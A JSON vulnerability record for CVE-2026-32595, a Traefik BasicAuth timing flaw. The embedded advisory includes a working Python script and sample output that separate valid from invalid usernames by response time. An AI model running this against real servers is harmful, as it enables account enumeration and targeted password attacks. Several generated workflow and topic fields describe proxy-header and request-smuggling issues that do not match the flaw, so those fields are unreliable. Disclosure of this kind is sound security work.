{
  "canonical_id": "traefik--CVE-2026-32595",
  "system_id": "traefik",
  "display_name": "Traefik",
  "category": "servers",
  "advisory_mode": "server",
  "title": "Traefik Affected by BasicAuth Middleware Timing Attack Allows Username Enumeration",
  "summary": "## Summary\n\nThere is a potential vulnerability in Traefik's BasicAuth middleware that allows username enumeration via a timing attack.\n\nWhen a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.41\n- https://github.com/traefik/traefik/releases/tag/v3.6.11\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n### Summary\nA timing attack vulnerability exists in Traefik's BasicAuth middleware that allows unauthenticated attackers to enumerate valid usernames. When a username exists, bcrypt password verification takes ~166ms; when it doesn't exist, the response returns immediately in ~0.6ms. This ~298x timing difference enables reliable username enumeration.\n\n### Details\nThe vulnerability exists in the BasicAuth middleware implementation. When validating credentials:\n- User exists: The system performs bcrypt password comparison, which intentionally takes ~100-200ms due to bcrypt's design\n- User doesn't exist: The system immediately returns authentication failure in ~0.6ms\n\nThis timing difference is observable over the network and allows attackers to distinguish between valid and invalid usernames.\n\nRoot Cause: The code returns early when the user is not found, without performing a dummy bcrypt comparison to maintain constant-time execution.\n\nExpected behavior: The system should perform a bcrypt comparison regardless of whether the user exists, to maintain consistent response times.\n\n### PoC\nEnvironment:\n- Traefik v3.6.9\n- k3s v1.34.5\n\nConfiguration:\n```yaml\napiVersion: traefik.io/v1alpha1\nkind: Middleware\nmetadata:\n  name: basicauth\n  namespace: traefik-poc\nspec:\n  basicAuth:\n    secret: basic-auth-secret\n---\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  name: test-basicauth\n  annotations:\n    traefik.ingress.kubernetes.io/router.middlewares: traefik-poc-basicauth@kubernetescrd\nspec:\n  ingressClassName: traefik\n  rules:\n    - http:\n        paths:\n          - path: /protected\n            pathType: Prefix\n            backend:\n              service:\n                name: whoami\n                port:\n                  number: 80\n```\n\nPoC Script:\n```python\n#!/usr/bin/env python3\nimport requests\nimport time\nimport statistics\nimport sys\nTARGET = sys.argv[1] if len(sys.argv) > 1 else \"http://localhost:30080/protected\"\nTEST_USERS = [\"admin\", \"root\", \"test\", \"nonexistent12345\"]\nSAMPLES = 20\ndef measure_time(username, password=\"wrongpassword\"):\n    times = []\n    for _ in range(SAMPLES):\n        start = time.perf_counter()\n        requests.get(TARGET, auth=(username, password), timeout=5)\n        elapsed = time.perf_counter() - start\n        times.append(elapsed)\n    return statistics.median(times)\nprint(f\"Target: {TARGET}\")\nprint(f\"Samples per user: {SAMPLES}\\n\")\nfor user in TEST_USERS:\n    median = measure_time(user)\n    if median > 0.05:  # bcrypt threshold\n        status = \"[+] EXISTS (slow - bcrypt verification)\"\n    else:\n        status = \"[-] NOT FOUND (fast - immediate return)\"\n    print(f\"{status}: {user:20s} | median={median:.4f}s\")\n```\n\nExecution Results:\n```\nTarget: http://10.10.10.7:30080/protected\nSamples per user: 20\n\n[+] EXISTS (slow - bcrypt verification): admin         | median=0.1665s\n[-] NOT FOUND (fast - immediate return): root          | median=0.0006s\n[-] NOT FOUND (fast - immediate return): test          | median=0.0006s\n[-] NOT FOUND (fast - immediate return): nonexistent   | median=0.0006s\n\nTiming difference ratio: 298.0x\n```\n\n### Impact\n- **Vulnerability Type:** Information Disclosure via Timing Attack (CWE-208)\n- **Impact:**\n  - Attackers can enumerate valid usernames without authentication\n  - Enables targeted password brute-force attacks against confirmed accounts\n  - Exposes information about system user structure\n- **Who is impacted:** All users of Traefik's BasicAuth middleware are affected. The vulnerability requires:\n  - BasicAuth middleware enabled\n  - Attacker able to make requests to protected endpoints\n  - Network access to measure response times\n- **Attack Complexity:** Low - only requires sending HTTP requests and measuring response times\n- **Privileges Required:** None\n- **User Interaction:** None\n\n</details>\n\n---",
  "published_at": "2026-03-20T15:43:13Z",
  "updated_at": "2026-03-20T15:46:26.940872Z",
  "severity": "medium",
  "cvss_score": 4.0,
  "exploit_status": "unknown",
  "source_confidence": "official",
  "official_source_url": "https://github.com/traefik/traefik/security/advisories/GHSA-g3hg-j4jv-cwfr",
  "secondary_source_urls": [
    "https://nvd.nist.gov/vuln/detail/CVE-2026-32595",
    "https://github.com/traefik/traefik",
    "https://github.com/traefik/traefik/releases/tag/v2.11.41",
    "https://github.com/traefik/traefik/releases/tag/v3.6.11",
    "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2"
  ],
  "aliases": [
    "CVE-2026-32595",
    "GHSA-g3hg-j4jv-cwfr"
  ],
  "cve_ids": [
    "CVE-2026-32595"
  ],
  "ghsa_ids": [
    "GHSA-g3hg-j4jv-cwfr"
  ],
  "osv_ids": [
    "GHSA-g3hg-j4jv-cwfr"
  ],
  "affected_versions": [
    "introduced=0, last_affected=1.7.34",
    "introduced=0, fixed<2.11.41",
    "introduced=0, fixed<3.6.11",
    "introduced=3.7.0-ea.1, fixed<3.7.0-ea.2"
  ],
  "fixed_versions": [
    "2.11.41",
    "3.6.11",
    "3.7.0-ea.2"
  ],
  "package_name": "github.com/traefik/traefik/v3",
  "render_markdown": false,
  "case_path": null,
  "secure_code_topics": [
    "proxy-trust-boundary",
    "request-smuggling-boundary",
    "dependency-upgrade-policy"
  ],
  "status": "generated",
  "triage_reasons": [],
  "entity_refs": [
    {
      "entity_id": "traefik",
      "entity_type": "system",
      "relation": "root-system",
      "root_system_id": "traefik",
      "official": true
    },
    {
      "entity_id": "traefik--repo--github-com-traefik-traefik-v3",
      "entity_type": "repo",
      "relation": "affected-component",
      "root_system_id": "traefik",
      "official": false
    }
  ],
  "affected_components": [
    {
      "name": "traefik / traefik / v3",
      "entity_id": "traefik--repo--github-com-traefik-traefik-v3",
      "scope": "repo",
      "package_name": "github.com/traefik/traefik/v3",
      "official": false
    }
  ],
  "affected_version_ranges": [
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    "introduced=0, fixed<2.11.41",
    "introduced=0, fixed<3.6.11",
    "introduced=3.7.0-ea.1, fixed<3.7.0-ea.2"
  ],
  "fixed_version_ranges": [
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    "3.6.11",
    "3.7.0-ea.2"
  ],
  "introduced_version": "introduced=3.7.0-ea.1, fixed<3.7.0-ea.2",
  "patched_version": "2.11.41",
  "version_evidence_sources": [
    "https://github.com/traefik/traefik/security/advisories/GHSA-g3hg-j4jv-cwfr",
    "https://nvd.nist.gov/vuln/detail/CVE-2026-32595",
    "https://github.com/traefik/traefik",
    "https://github.com/traefik/traefik/releases/tag/v2.11.41",
    "https://github.com/traefik/traefik/releases/tag/v3.6.11",
    "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2"
  ],
  "advisory_scope": "repo",
  "version_confidence": "high",
  "version_gap_reason": "",
  "version_resolution_needed": false,
  "workflow": {
    "workflow_id": "traefik--CVE-2026-32595--workflow",
    "vuln_family": "proxy-boundary",
    "entry_surface": "proxy-header-or-trust-boundary",
    "preconditions": [
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    "request_or_ui_path": [
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      "/x-forwarded-* trust path"
    ],
    "input_shape": "\u63d0\u4ea4\u53d7\u63a7\u4ee3\u7406\u5934\u6216\u6765\u6e90\u5934\uff0c\u9a8c\u8bc1\u4fe1\u4efb\u8fb9\u754c\u548c\u56de\u6e90\u9274\u6743\u3002",
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    "server_evidence_points": [
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    ],
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      "console\u3001network \u4e0e response metadata \u4e2d\u7684\u5f02\u5e38\u4fe1\u53f7"
    ],
    "db_or_fs_evidence_points": [
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    "mitigation_summary": "\u4f18\u5148\u5347\u7ea7\u5230\u4fee\u590d\u7248\u672c\uff0c\u5e76\u540c\u65f6\u6536\u7d27\u8f93\u5165\u6821\u9a8c\u3001\u670d\u52a1\u7aef\u9274\u6743\u3001\u4ee3\u7406\u4fe1\u4efb\u8fb9\u754c\u3001\u6269\u5c55\u5b89\u88c5\u4fe1\u4efb\u548c\u5ba1\u8ba1\u65e5\u5fd7\u3002",
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  },
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    "present": false,
    "refs": []
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  "metadata": {
    "source_names": [
      "OSV Traefik"
    ],
    "source_kinds": [
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    ],
    "candidate_count": 1,
    "entity_ref_count": 2,
    "advisory_scope": "repo",
    "version_confidence": "high",
    "workflow_id": "traefik--CVE-2026-32595--workflow"
  }
}